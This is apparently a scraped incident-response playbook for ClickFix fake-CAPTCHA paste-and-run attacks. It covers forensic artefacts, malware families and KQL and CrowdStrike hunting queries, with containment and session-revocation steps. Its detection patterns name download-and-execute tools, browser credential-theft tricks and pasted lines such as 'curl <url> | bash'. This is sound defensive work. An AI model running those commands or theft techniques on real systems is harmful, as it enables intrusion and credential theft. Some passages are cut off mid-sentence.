Respond: The First Hour
TypedPaths; a Win+X or Terminal paste leaves it in the PowerShell history file and in script-block logging (event 4104, the decoded stager); the EDR process tree has the outer layer either way. Windows Timeline's ActivitiesCache.db keeps the clipboard text even when the stager wiped RunMRU. Note any file created in Downloads just before. Why: vendor hashes will not match your payload — your command, the URLs in it and the lure page are the indicators. Collect the browser profile too (History with its downloads table for the referrer, Login Data, Cookies, Local State; Firefox places.sqlite): it tells you which accounts and sessions were on the host. For memory and the volatile triage, run Magnet RESPONSE 1.7.2 d315c63d1ad4b89e03c7688b29169e977c2abc4559c23b9f6b2282f3c91a6c7d elevated from removable media or push it with your EDR; for the persistence baseline, Get-PersistenceSnapshot.ps1 a9534865f9e8e7b1f5077b4e1cfd8c29e7e32f6e9e49a4918ce4f8fb713e64df with -Zip. The platform tabs below list the per-tool commands, Prefetch, Amcache, SRUM and USN included.reg query "HKEY_USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
reg query "HKEY_USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths"
type "C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
wevtutil qe Microsoft-Windows-PowerShell/Operational /q:"*[System[EventID=4104]]" /rd:true /c:20 /f:text
dir "C:\Users\<user>\Downloads" /o:-d
dir "C:\Users\<user>\AppData\Local\ConnectedDevicesPlatform" /s /b | findstr ActivitiesCache.db
Revoke-MgUserSignInSession kills refresh tokens; issued access tokens live up to an hour, so disable the account first if the user is privileged. On an Entra-joined device the Primary Refresh Token stays in the TPM and is not what a browser stealer takes; the device-bound cookies derived from it are, and the revoke covers those. Entra is one session in that browser profile, not the only one: sign the user out of Google Workspace, Okta, Slack, GitHub (and rotate PATs), the AWS console (deactivate access keys, re-issue MFA) and the password manager's desktop and extension sessions, and tell the user to do the same for personal accounts in the same browser. Then rotate what the browser and disk held: saved passwords for business apps, VPN profiles, SSH keys, API tokens, password-manager exports, crypto wallets. Why: a stealer takes all of it in one pass, and the attacker uses or sells it within hours.Revoke-MgUserSignInSession -UserId <upn>
DELETE https://<org>.okta.com/api/v1/users/{id}/sessions
Hour 1 – Day 30: Classify, Rebuild, Watch
How Far Has It Got?
| # | Stage | ATT&CK | Question | Where to look |
|---|---|---|---|---|
| 1 | Lure | T1189 T1566.002 | Which site served the fake CAPTCHA or fix page, how did the user get there (search result, ad, compromised site, mail link), and when? | Browser history on the host (Chrome History, downloads table for the referrer; Firefox places.sqlite); Safe Links click records; proxy and DNS logs; Zone.Identifier on anything downloaded |
| 2 | Paste and run | T1204.004 T1059.001 | What command ran, and from where: Run dialog, Explorer address bar, Terminal, or a file in Downloads? | RunMRU (Win+R, written only when the launch succeeded); TypedPaths (FileFix); PowerShell history file (Win+X / Terminal); ActivitiesCache.db clipboard history; EDR process tree, with the trailing lure comment as the signature; Downloads folder |
| 3 | Stage 2 | T1105 T1218.005 | What did the command fetch and start? | PowerShell script-block logging (event 4104: the decoded stager and its URL), event 400 HostApplication for the host that ran it; EDR process tree: mshta, curl, certutil, bitsadmin, regsvr32, msiexec from user paths; new files in AppData, Temp and Downloads |
| 4 | Payload | T1219 T1574.002 | Infostealer, loader or RAT, or ransomware? | EDR detections; dropped files and sideloaded DLLs in AppData; injection into legitimate processes; client32.exe / client32.ini (NetSupport); outbound destinations after the first upload; Prefetch and Amcache for what ran |
| 5 | Theft | T1555.003 T1539 | Which credentials, sessions and keys were on the host? | Users who signed in there; browser profiles (Login Data, Cookies, Local State); chrome.exe --remote-debugging-port from a non-user parent (App-Bound Encryption bypass); saved passwords; VPN, SSH and API keys; wallets |
| 6 | Exfiltration | T1041 T1567 | Did data leave the host, and to where? | EDR network events from user-path processes after the paste; proxy logs for the byte count; SRUM network usage per application; Telegram and Discord endpoints as stealer C2 |
| 7 | Session reuse | T1550.004 T1078.004 | Are the stolen sessions or passwords being used? | Entra interactive and non-interactive sign-ins (30 d on P1/P2, 7 d free), Okta System Log, Google Workspace login audit, Slack, GitHub and AWS console audit logs for the host's users from new IPs, ASNs or devices |
| 8 | Persistence | T1547.001 T1053.005 T1546.003 | Is there a foothold that survives a reboot? | Run and RunOnce keys, startup folder, scheduled tasks (including schtasks /create /xml), WMI subscriptions, services, DLLs sideloaded from AppData, NetSupport client32.ini under AppData\Roaming; Get-PersistenceSnapshot.ps1 -CompareTo a clean host |
| 9 | Spread | T1189 T1204.004 | Did other users visit the same lure or run the same command? | Fleet-wide DNS and proxy for the lure domain; Safe Links clicks; the same command shape or lure comment on other hosts |
By Variant: Where the Evidence Is
navigator.clipboard.writeText on the "verify" click), so the user never sees what they are pasting; the visible instruction is only which key to press. Microsoft's August 2025 analysis still describes the Run dialog as the primary surface, with Terminal, PowerShell and the Explorer address bar as the alternatives; no public vendor figure splits them, so do not assume one.1. Win+R (Run dialog)
Variation: RunMRU holds the command, but only when the launch succeeded (a failed launch writes nothing) and only until the stager clears it — a wiped RunMRU on a host whose Timeline clipboard record holds the command is itself a finding. Block Win+R for non-technical users after the incident.
2. Win+X / Terminal
Variation: The paste runs inside the already-open shell, so the command is in the PowerShell history file (ConsoleHost_history.txt), in event 4104 (the decoded block) and in event 400's HostApplication, not in RunMRU and often not as a separate process. Detections written for an explorer.exe parent do not fire here.
3. FileFix (Explorer address bar)
# C:\Company\Internal\Policy.pdf; a new value under HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths, nothing in RunMRU.Variation: The user pastes into the File Explorer address bar, which executes commands the way Run does; the path at the end is padding so the visible part of the bar looks like a file. Collect TypedPaths and the clipboard record, and extend any Win+R detection that keys on RunMRU to TypedPaths.
reg query "HKEY_USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths"
4. Download-folder staging and HTA save-as
.hta the lure told the user to "save as".Variation: The command looks harmless, or there is no command at all; the payload is the downloaded file. Collect it and its Zone.Identifier stream, which records the URL it came from and the referrer (Sysmon 15 logs the same contents fleet-wide). In the HTA variant the parent of mshta.exe is the browser, not explorer.exe or a shell.
Get-Content "C:\Users\<user>\Downloads\<file>" -Stream Zone.Identifier
5. macOS (Terminal)
curl or bash -c fetching a script, osascript prompting for the password, a new binary under /tmp, ~/Library or /Users/Shared; Atomic Stealer (AMOS) is the usual payload.Variation: The pasted line is curl -fsSL <url> | bash or a base64 echo | base64 -d | sh. It is in ~/.zsh_history (written on shell exit, so collect after the user closes Terminal or read it from the EDR's process events), the stealer's osascript password dialog is in the process tree, and the Keychain, browser profiles and ~/.ssh are what it takes. Revoke and reset as for Windows; the Keychain password is the login password, so the reset is the Keychain rotation.
cat ~/.zsh_history | grep -E 'curl|base64|osascript|bash -c'
log show --last 2h --predicate 'process == "osascript" OR eventMessage CONTAINS "curl"'
6. Linux
curl or wget piped to sh or bash, a new file under /tmp, /dev/shm or ~/.config, a new cron entry, systemd user unit or ~/.ssh/authorized_keys line.Variation: Rare, and aimed at developers and admins: the paste is a "dependency fix" or a fake CAPTCHA served to a Linux user agent. ~/.bash_history is written on exit; auditd execve records or the EDR's process events have it live. Run get-persistence-snapshot.sh 8fe386a7d6ebd50225b04ad83581ee3e5d504a10a4263253b5a11b8a61eeca67 for cron, systemd, SSH keys, PAM, ld.so.preload and SUID in one pass, and --compare-to a clean host.
sudo ausearch -sc execve -ts recent | grep -E 'curl|wget|base64'
bash get-persistence-snapshot.sh --compare-to clean-baseline.json
Payload families: what each leaves behind
| Family | Class | On-host artefacts | Network | Response |
|---|---|---|---|---|
| Lumma, StealC, Vidar | Infostealer | Runs once from Temp or AppData and exits; injects into BitLockerToGo.exe or more.com (Lumma); starts chrome.exe --remote-debugging-port to defeat App-Bound Encryption; reads browser profiles, wallets, Telegram and Discord tokens in place; no persistence | One burst of HTTPS POSTs within minutes to a C2 or a Telegram bot; Steam profile or Telegram channel as dead-drop resolver; then silence | Secrets and sessions, every service the browser held; rebuild on principle |
| NetSupport (RMM) | RAT | client32.exe with client32.ini (gateway address inside), PCICL32.dll, HTCTL32.DLL under AppData\Roaming; Run key or startup folder; signed binary, so it passes a signature check | Persistent HTTP to the gateway in client32.ini, often on 443 or 1080; keep-alive every few seconds | Foothold: Ransomware Response, discovered before encryption |
| SectopRAT (ArechClient2) | RAT | .NET loader in AppData, often sideloaded beside a signed binary; injects into MSBuild.exe or RegAsm.exe; starts a hidden second desktop and chrome.exe --remote-debugging-port | Persistent TCP to a C2 on a high port; Pastebin or Google Docs resolver | Foothold and theft: both responses |
| AsyncRAT, XWorm | RAT | .NET binary in AppData or Temp; scheduled task or Run key; schtasks /create in the process tree; injects into RegAsm.exe, aspnet_compiler.exe or InstallUtil.exe | Persistent TCP to a dynamic-DNS host; keep-alive beacons | Foothold: Ransomware Response, discovered before encryption |
| Latrodectus, MintsLoader | Loader | DLL run through rundll32 or a JavaScript dropper through wscript; scheduled task; copies itself under AppData\Roaming\Custom_update (Latrodectus) | Short check-ins to several domains, then a second payload download | Foothold; expect a second family within hours |
Hunt & Act by Platform
Hunt
Stage 1 · LureWhich page served the lure, and who else clicked it
UrlClickEvents only sees links in mail, Teams and Office; a search or ad lure leaves its trace in the browser's connections just before the paste.// Mail or Teams link (Defender for Office 365 Safe Links; Workload says which)
UrlClickEvents
| where Timestamp > ago(30d) and Url has "<lure domain>"
| project Timestamp, AccountUpn, Url, ActionType, IsClickedThrough, Workload, NetworkMessageId
// What the browser reached in the five minutes before the paste on the reporting host
DeviceNetworkEvents
| where DeviceName == "<host>" and Timestamp between ((datetime(<paste time>) - 5m) .. datetime(<paste time>))
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe") and isnotempty(RemoteUrl)
| project Timestamp, RemoteUrl, RemoteIP, InitiatingProcessFileName
| order by Timestamp asc
// The referrer of anything the browser saved to Downloads (download-folder and HTA variants)
DeviceFileEvents
| where DeviceName == "<host>" and Timestamp > ago(7d) and FolderPath has @"\Downloads\" and isnotempty(FileOriginUrl)
| project Timestamp, FileName, FileOriginUrl, FileOriginReferrerUrl, InitiatingProcessFileName
Stage 2 · Paste and runThe pasted command, from the Run dialog, the Explorer address bar or a terminal
# I am not a robot, # reCAPTCHA Verification ID, # Ray ID, or a fake # C:\...\file.pdf path in FileFix); the flags and LOLBins catch the rest. Win+R and FileFix start the child from explorer.exe; a paste into an already-open PowerShell window runs in-process, so there the evidence is the child it spawns, 4104 (next hunt) or the history file.DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","windowsterminal.exe","powershell.exe","pwsh.exe","cmd.exe","conhost.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe","curl.exe","msiexec.exe","certutil.exe","bitsadmin.exe",
"regsvr32.exe","rundll32.exe","wscript.exe","cscript.exe","conhost.exe","finger.exe","ssh.exe")
| where ProcessCommandLine has_any ("http","-enc","-e ","-ec ","iex","invoke-expression","downloadstring","downloadfile","irm","iwr",
"-w hidden","-w 1","-nop","-noprofile","-ep bypass","-executionpolicy bypass",
"urlcache","-decode","/transfer","--headless","proxycommand","/i:http","scrobj","javascript:","frombase64string")
or ProcessCommandLine matches regex @"(?i)#\s*(I am not a robot|reCAPTCHA|Ray ID|Verification|Cloudflare|robot|[A-Z]:\\[^""]+\.(pdf|docx|txt))"
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
// HTA save-as: the browser or Explorer launches a .hta the user just saved
DeviceProcessEvents
| where Timestamp > ago(7d) and FileName =~ "mshta.exe"
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","explorer.exe") and ProcessCommandLine has_any (@"\Downloads\", ".hta")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine
// Win+R writes RunMRU and FileFix writes TypedPaths. Neither key is guaranteed to be in the curated set DeviceRegistryEvents records;
// test on one host, and otherwise read them with Live Response (Capture, below).
DeviceRegistryEvents
| where Timestamp > ago(7d) and RegistryKey has_any (@"\Explorer\RunMRU", @"\Explorer\TypedPaths")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData
Stage 2 · Paste and runDownload-folder staging: a browser download run minutes later from a pasted command
FileOriginUrl on the download is the lure's download host.let dl = DeviceFileEvents
| where Timestamp > ago(7d) and ActionType == "FileCreated" and FolderPath has @"\Downloads\"
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe")
| project DeviceName, DownloadedFile = FileName, DownloadUrl = FileOriginUrl, DlTime = Timestamp;
DeviceProcessEvents
| where Timestamp > ago(7d) and InitiatingProcessFileName in~ ("explorer.exe","windowsterminal.exe","powershell.exe","cmd.exe")
| join kind=inner dl on DeviceName
| where Timestamp between (DlTime .. (DlTime + 10m)) and ProcessCommandLine has DownloadedFile
| project Timestamp, DeviceName, AccountName, DownloadedFile, DownloadUrl, FileName, ProcessCommandLine
Stage 3 · Stage 2The decoded stager (4104 script-block text, PowerShellCommand) and LOLBin loaders from user paths
PowerShellCommand events; the full 4104 text needs Sentinel with a DCR on the PowerShell/Operational channel.DeviceEvents
| where Timestamp > ago(7d) and ActionType == "PowerShellCommand"
| extend Command = tostring(parse_json(AdditionalFields).Command)
| where Command has_any ("Invoke-WebRequest","Invoke-RestMethod","Invoke-Expression","DownloadString","DownloadFile","FromBase64String",
"Start-BitsTransfer","Expand-Archive","Add-MpPreference","Set-MpPreference","Start-Process")
| project Timestamp, DeviceName, InitiatingProcessAccountName, InitiatingProcessCommandLine, Command
// Sentinel, PowerShell/Operational forwarded by a DCR: the decoded block itself
Event
| where TimeGenerated > ago(7d) and EventLog == "Microsoft-Windows-PowerShell/Operational" and EventID == 4104
| extend ScriptBlockText = extract(@"<Data Name=""ScriptBlockText"">([\s\S]*?)</Data>", 1, EventData)
| where ScriptBlockText has_any ("DownloadString","Invoke-WebRequest","iwr","irm","FromBase64String","-join","[char]","Add-MpPreference")
| project TimeGenerated, Computer, ScriptBlockText
// Loaders started from user-writable paths after the paste
DeviceProcessEvents
| where Timestamp > ago(7d)
| where (FileName in~ ("mshta.exe","regsvr32.exe","rundll32.exe") and ProcessCommandLine has_any ("http", @"\AppData\", @"\Temp\", @"\Downloads\", @"\ProgramData\"))
or (FileName in~ ("curl.exe","certutil.exe","bitsadmin.exe") and ProcessCommandLine has_any (@"\AppData\", @"\Temp\", @"\Downloads\", @"\ProgramData\", "-o ", "-decode", "/transfer"))
or (FileName =~ "msiexec.exe" and ProcessCommandLine has_any ("http", @"\AppData\", @"\Temp\", @"\Downloads\"))
or (FileName in~ ("powershell.exe","pwsh.exe") and ProcessCommandLine has "Add-MpPreference")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
Stage 4 · PayloadWhat the stager left behind: new binaries, sideloaded DLLs and injection from user-writable paths
AppData or Temp and exit; loaders and RATs stay resident, sideload a DLL next to a signed binary, or inject into a legitimate process. NetSupport shows up as client32.exe with a client32.ini beside it; Lumma injects into BitLockerToGo.exe or more.com.DeviceProcessEvents
| where DeviceName == "<host>" and Timestamp > datetime(<paste time>)
| where FolderPath has_any (@"\AppData\", @"\Temp\", @"\Downloads\", @"\ProgramData\", @"\Users\Public\")
| summarize First = min(Timestamp), Runs = count(), Cmd = any(ProcessCommandLine), Parent = any(InitiatingProcessFileName)
by FileName, FolderPath, SHA256, ProcessVersionInfoCompanyName, ProcessVersionInfoProductName
| order by First asc
// DLLs loaded from user-writable paths by binaries in user-writable paths (sideloading)
DeviceImageLoadEvents
| where DeviceName == "<host>" and Timestamp > datetime(<paste time>)
| where FolderPath has_any (@"\AppData\", @"\Temp\", @"\Downloads\", @"\ProgramData\") and FolderPath !endswith @"\System32\"
| summarize Loads = count(), By = make_set(InitiatingProcessFileName) by FileName, FolderPath, SHA1
// Injection into a legitimate process
DeviceEvents
| where DeviceName == "<host>" and Timestamp > datetime(<paste time>) and ActionType == "CreateRemoteThreadApiCall"
| project Timestamp, InitiatingProcessFileName, InitiatingProcessFolderPath, FileName, FolderPath
// What Defender itself classified
AlertInfo | where TimeGenerated > ago(7d) | join AlertEvidence on AlertId | where DeviceName == "<host>"
| project TimeGenerated, Title, ThreatFamily, Category, FileName, SHA256
Stage 5 · TheftBrowser credential stores read by something that is not the browser; the remote-debugging bypass
--remote-debugging-port and ask it for the cookies. chrome.exe with that flag and a parent that is not explorer.exe or the browser is theft with few false positives. Copies of Login Data, Cookies, Local State, Firefox key4.db and logins.json outside the profile folder are the older method.DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("chrome.exe","msedge.exe","brave.exe")
| where ProcessCommandLine has_any ("--remote-debugging-port","--remote-debugging-pipe","--remote-allow-origins","--headless","--user-data-dir","--restore-last-session")
| where InitiatingProcessFileName !in~ ("explorer.exe","chrome.exe","msedge.exe","brave.exe","svchost.exe","userinit.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessFolderPath, ProcessCommandLine
// Profile files copied out of the profile (reads are not logged; only a copy or rename shows)
DeviceFileEvents
| where Timestamp > ago(7d) and ActionType in ("FileCreated","FileRenamed")
| where FileName in~ ("Login Data","Cookies","Web Data","Local State","key4.db","logins.json","cookies.sqlite","places.sqlite","wallet.dat")
| where FolderPath !has @"\User Data\" and FolderPath !has @"\Firefox\Profiles\"
| project Timestamp, DeviceName, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessFolderPath
Stage 6 · ExfiltrationOutbound connections from user-path binaries and script hosts after the paste
api.telegram.org) or a Discord webhook; a loader's second connection is the next stage. The first connection after the paste from a process in AppData, Temp or a script host is the upload. DeviceNetworkEvents carries no byte counts; size and duration come from the proxy or firewall.DeviceNetworkEvents
| where DeviceName == "<host>" and Timestamp between (datetime(<paste time>) .. (datetime(<paste time>) + 2h))
| where ActionType == "ConnectionSuccess" and RemoteIPType == "Public"
| where InitiatingProcessFolderPath has_any (@"\AppData\", @"\Temp\", @"\Downloads\", @"\ProgramData\", @"\Users\Public\")
or InitiatingProcessFileName in~ ("powershell.exe","pwsh.exe","mshta.exe","curl.exe","rundll32.exe","regsvr32.exe","msbuild.exe","regasm.exe","installutil.exe","bitlockertogo.exe","more.com")
| summarize First = min(Timestamp), Connections = count(), Ports = make_set(RemotePort), Urls = make_set(RemoteUrl)
by InitiatingProcessFileName, InitiatingProcessFolderPath, RemoteIP
| order by First asc
Stage 7 · Session reuseThe host's users signing in from new IPs or networks
union SigninLogs, AADNonInteractiveUserSignInLogs
| where TimeGenerated > ago(30d)
| where UserPrincipalName in~ ("<upn1>", "<upn2>") and ResultType == "0"
| summarize FirstSeen = min(TimeGenerated), Count = count(), Apps = make_set(AppDisplayName), Interactive = countif(Type == "SigninLogs")
by UserPrincipalName, IPAddress, AutonomousSystemNumber, tostring(DeviceDetail.deviceId)
| order by FirstSeen asc
// Non-Entra sessions: Google Workspace login audit (Admin console, Reporting > Audit > Login), Okta System Log (eventType user.session.start),
// Slack Audit Logs (user_login), GitHub audit log (user.login), AWS CloudTrail ConsoleLogin. Same question: new IP or ASN after the paste.
Stage 8 · PersistenceEverything that survives a reboot, created after the paste
AppData, and NetSupport's client32.exe with client32.ini under AppData\Roaming.DeviceRegistryEvents
| where DeviceName == "<host>" and Timestamp > datetime(<paste time>)
| where RegistryKey has_any (@"\CurrentVersion\Run", @"\CurrentVersion\RunOnce", @"\Winlogon", @"\Explorer\Shell Folders", @"\Image File Execution Options")
| project Timestamp, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName
DeviceFileEvents
| where DeviceName == "<host>" and Timestamp > datetime(<paste time>) and ActionType == "FileCreated"
| where FolderPath has @"\Start Menu\Programs\Startup\" or FileName in~ ("client32.exe","client32.ini") or (FolderPath has @"\AppData\" and FileName endswith ".dll")
| project Timestamp, FolderPath, FileName, SHA256, InitiatingProcessFileName
DeviceEvents
| where DeviceName == "<host>" and Timestamp > datetime(<paste time>)
| where ActionType in ("ScheduledTaskCreated","ServiceInstalled","WmiBindEventFilterToConsumer")
| project Timestamp, ActionType, InitiatingProcessFileName, InitiatingProcessCommandLine, AdditionalFields
DeviceProcessEvents
| where DeviceName == "<host>" and Timestamp > datetime(<paste time>)
| where (FileName =~ "schtasks.exe" and ProcessCommandLine has_any ("/create", "/xml")) or (FileName =~ "sc.exe" and ProcessCommandLine has "create") or FileName =~ "client32.exe"
| project Timestamp, FileName, ProcessCommandLine, InitiatingProcessFileName
Stage 9 · SpreadOther hosts that reached the lure or ran the same command shape
DeviceNetworkEvents
| where Timestamp > ago(30d) and RemoteUrl has_any ("<lure domain>", "<payload domain>")
| summarize FirstSeen = min(Timestamp), Hosts = dcount(DeviceName), Users = make_set(InitiatingProcessAccountName) by RemoteUrl
DeviceFileEvents
| where Timestamp > ago(30d) and (FileOriginUrl has_any ("<lure domain>", "<payload domain>") or FileOriginReferrerUrl has "<lure domain>")
| summarize Hosts = make_set(DeviceName), Files = make_set(FileName) by FileOriginUrl
UrlClickEvents
| where Timestamp > ago(30d) and Url has "<lure domain>"
| summarize Clicks = count(), Users = make_set(AccountUpn) by Url, ActionType
Act
Broad first, surgical once the scope is known. Collect before you stop anything; compromised hosts are rebuilt, not cleaned.
T+0–10 · IsolateIsolate every host that ran the command
Console: device page › Isolate device (Full), for each device in the hunt result. Live Response keeps working on an isolated device. API: one call per device ID.
POST https://api.security.microsoft.com/api/machines/{id}/isolate
{"Comment": "ClickFix IR case #<n>", "IsolationType": "Full"}
T+10–20 · CaptureCollect the command, the browser profile, memory and the persistence snapshot (Live Response)
ActivitiesCache.db keeps the clipboard text even when the stager wiped RunMRU; Prefetch, Amcache, SRUM and the USN journal show what ran, when, and how much it sent. The decoded stager and the stealer's config may only exist in memory.Live Response. getfile cannot read a file the browser holds open, so take the browser files from the investigation package or after the user closes the browser. putfile uploads from the Library; add Magnet RESPONSE 1.7.2 d315c63d1ad4b89e03c7688b29169e977c2abc4559c23b9f6b2282f3c91a6c7d and Get-PersistenceSnapshot.ps1 a9534865f9e8e7b1f5077b4e1cfd8c29e7e32f6e9e49a4918ce4f8fb713e64df to it in peacetime. Also export now: the 30 days of Entra sign-ins for every user of the host (Get-MgAuditLogSignIn -Filter "userPrincipalName eq '<upn>'") and the unified audit log (Search-UnifiedAuditLog, 180 d Standard, 1 y Premium), before retention takes them.
registry "HKEY_USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
registry "HKEY_USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths"
getfile "C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
getfile "C:\Users\<user>\Downloads\<file>"
getfile "C:\Users\<user>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db"
getfile "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\History" (table downloads: referrer and tab_url)
getfile "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Login Data"
getfile "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies"
getfile "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Local State"
getfile "C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile>\places.sqlite"
getfile "C:\Windows\System32\sru\SRUDB.dat"
getfile "C:\Windows\appcompat\Programs\Amcache.hve"
collect (investigation package: Prefetch, autoruns, tasks, services, network, event logs)
putfile Get-PersistenceSnapshot.ps1
run Get-PersistenceSnapshot.ps1 -parameters "-Zip -OutputPath C:\IR"
putfile MagnetRESPONSEv172_Self_Extracting_Archive.exe
run MagnetRESPONSEv172_Self_Extracting_Archive.exe -parameters "/accepteula /unattended /output:C:\IR /caseref:<n> /captureram /capturepagefile /capturevolatile /saveitems"
getfile "C:\IR\<snapshot>.zip"
persistence
T+15–30 · SecretsRevoke sessions and reset passwords for every user on those hosts, everywhere the browser was signed in
Entra: Revoke-MgUserSignInSession kills refresh tokens; issued access tokens live up to an hour (longer with CAE-capable clients), so disable the account first if the user is privileged (Identity Breach Response). On an Entra-joined device the Primary Refresh Token lives in the TPM and is not stolen by a browser stealer, but the device-bound session cookies derived from it are; revoke covers those. Then, per account the browser held: Google Workspace (Admin console › user › Security › Sign out), Okta (DELETE /api/v1/users/{id}/sessions), Slack (Admin › sign out of all sessions), GitHub (Settings › Sessions, and rotate PATs), AWS console (deactivate the access keys, re-issue MFA), password-manager desktop and browser-extension sessions (deauthorise the device in the vault's admin console). Tell the user to do the same for personal accounts in the same browser.
Revoke-MgUserSignInSession -UserId <upn>
T+30–60 · BlockBlock the lure and payload domains tenant-wide, and report the lure
Console: Settings › Endpoints › Indicators. Outside Edge, domain and URL blocks need Network Protection in block mode. Set an expiry: lures run on compromised legitimate sites. Then report the lure URL to Google Safe Browsing (safebrowsing.google.com/safebrowsing/report_phish), to Google Ads or Microsoft Advertising if the referrer was an ad, to the site owner if it is a compromised legitimate site, and to your sector ISAC.
POST https://api.security.microsoft.com/api/indicators
{"indicatorValue": "<lure or payload domain>", "indicatorType": "DomainName",
"action": "Block", "title": "ClickFix lure", "description": "IR case #<n>",
"expirationTime": "<yyyy-mm-dd>T00:00:00Z"}
Hour 1+ · RebuildStop the running payload, then rebuild
Lift isolation only on a rebuilt host, or on one the hunt clears.
remediate process <pid>
Hunt
Stage 1 · LureWhich page served the lure
#event_simpleName=DnsRequest ComputerName="<host>"
| ContextBaseFileName=/^(chrome|msedge|firefox|brave)\.exe$/i
| @timestamp >= "<paste time minus 5m>" | @timestamp <= "<paste time>"
| table([@timestamp, DomainName, ContextBaseFileName])
| sort(@timestamp, order=asc)
Stage 2 · Paste and runThe pasted command, from the Run dialog, the Explorer address bar or a terminal
# I am not a robot, # reCAPTCHA Verification ID, # Ray ID, or a fake # C:\...\file.pdf in FileFix). A paste into an open PowerShell window runs in-process; the sensor's CommandHistory event records what was typed or pasted into a console.#event_simpleName=ProcessRollup2
| ParentBaseFileName=/^(explorer|windowsterminal|powershell|pwsh|cmd|conhost)\.exe$/i
| ImageFileName=/\\(powershell|pwsh|cmd|mshta|curl|msiexec|certutil|bitsadmin|regsvr32|rundll32|wscript|cscript|conhost|finger|ssh)\.exe$/i
| CommandLine=/http|-enc|-e |-ec |iex|invoke-expression|downloadstring|downloadfile|irm |iwr |-w hidden|-w 1|-nop|-ep bypass|-executionpolicy bypass|urlcache|-decode|\/transfer|--headless|proxycommand|\/i:http|scrobj|javascript:|frombase64string|#\s*(I am not a robot|reCAPTCHA|Ray ID|Verification|Cloudflare|robot|[A-Z]:\\\\.+\.(pdf|docx|txt))/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, ImageFileName, CommandLine])
// Typed or pasted into an open console (Win+X, Terminal)
#event_simpleName=CommandHistory
| CommandHistory=/http|iex|irm |iwr |downloadstring|mshta|curl|certutil|bitsadmin|#\s*(I am not a robot|reCAPTCHA|Ray ID)/i
| table([@timestamp, ComputerName, UserName, CommandHistory])
// HTA save-as: a browser or Explorer launching a .hta from Downloads
#event_simpleName=ProcessRollup2 ImageFileName=/\\mshta\.exe$/i
| ParentBaseFileName=/^(chrome|msedge|firefox|brave|explorer)\.exe$/i | CommandLine=/\\Downloads\\|\.hta/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, CommandLine])
// RunMRU (Win+R) and TypedPaths (FileFix) are not ASEP keys, so there is no registry event: read them with RTR (Capture, below).
Stage 2 · Paste and runDownload-folder staging: a browser download run minutes later from a pasted command
#event_simpleName=ProcessRollup2
| ParentBaseFileName=/^(explorer|windowsterminal|powershell|cmd)\.exe$/i
| CommandLine=/\\Downloads\\/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, CommandLine])
// Pair with the browser's write: #event_simpleName=NewExecutableWritten or #event_simpleName=NewScriptWritten
// ContextBaseFileName=/^(chrome|msedge|firefox|brave)\.exe$/i | TargetFileName=/\\Downloads\\/i
Stage 3 · Stage 2The decoded stager (script content) and LOLBin loaders from user paths
#event_simpleName=ScriptControlScanTelemetry ComputerName="<host>"
| ScriptContent=/DownloadString|Invoke-WebRequest|iwr |irm |FromBase64String|-join|\[char\]|Add-MpPreference|Start-BitsTransfer|Expand-Archive/i
| table([@timestamp, ComputerName, UserName, CommandLine, ScriptingLanguageId, ScriptContent])
// Loaders from user-writable paths
#event_simpleName=ProcessRollup2
| ImageFileName=/\\(mshta|regsvr32|rundll32|curl|certutil|bitsadmin|msiexec)\.exe$/i
| CommandLine=/http|\\appdata\\|\\temp\\|\\downloads\\|\\programdata\\|-decode|\/transfer/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, ImageFileName, CommandLine])
Stage 4 · PayloadWhat the stager left behind: new binaries, sideloaded DLLs and injection from user-writable paths
AppData or Temp and exit; loaders and RATs stay resident, sideload a DLL next to a signed binary, or inject into a legitimate process. NetSupport is client32.exe with client32.ini beside it; Lumma injects into BitLockerToGo.exe or more.com.#event_simpleName=ProcessRollup2 ComputerName="<host>"
| ImageFileName=/\\(AppData|Temp|Downloads|ProgramData|Users\\Public)\\/i
| groupBy([ImageFileName, SHA256HashData, ParentBaseFileName], function=[min(@timestamp), count(), collect([CommandLine])])
// Injection into a legitimate process, and NetSupport by name
#event_simpleName=InjectedThread ComputerName="<host>" | table([@timestamp, ContextBaseFileName, TargetProcessId, ThreadStartAddress])
#event_simpleName=ProcessRollup2 ImageFileName=/\\client32\.exe$/i | table([@timestamp, ComputerName, ImageFileName, CommandLine])
// Sideloaded DLLs: RTR runscript -Raw=```Get-Process | % { $p=$_; $_.Modules | ? { $_.FileName -match 'AppData|Temp|ProgramData' } | select @{n='Proc';e={$p.Name}}, FileName }```
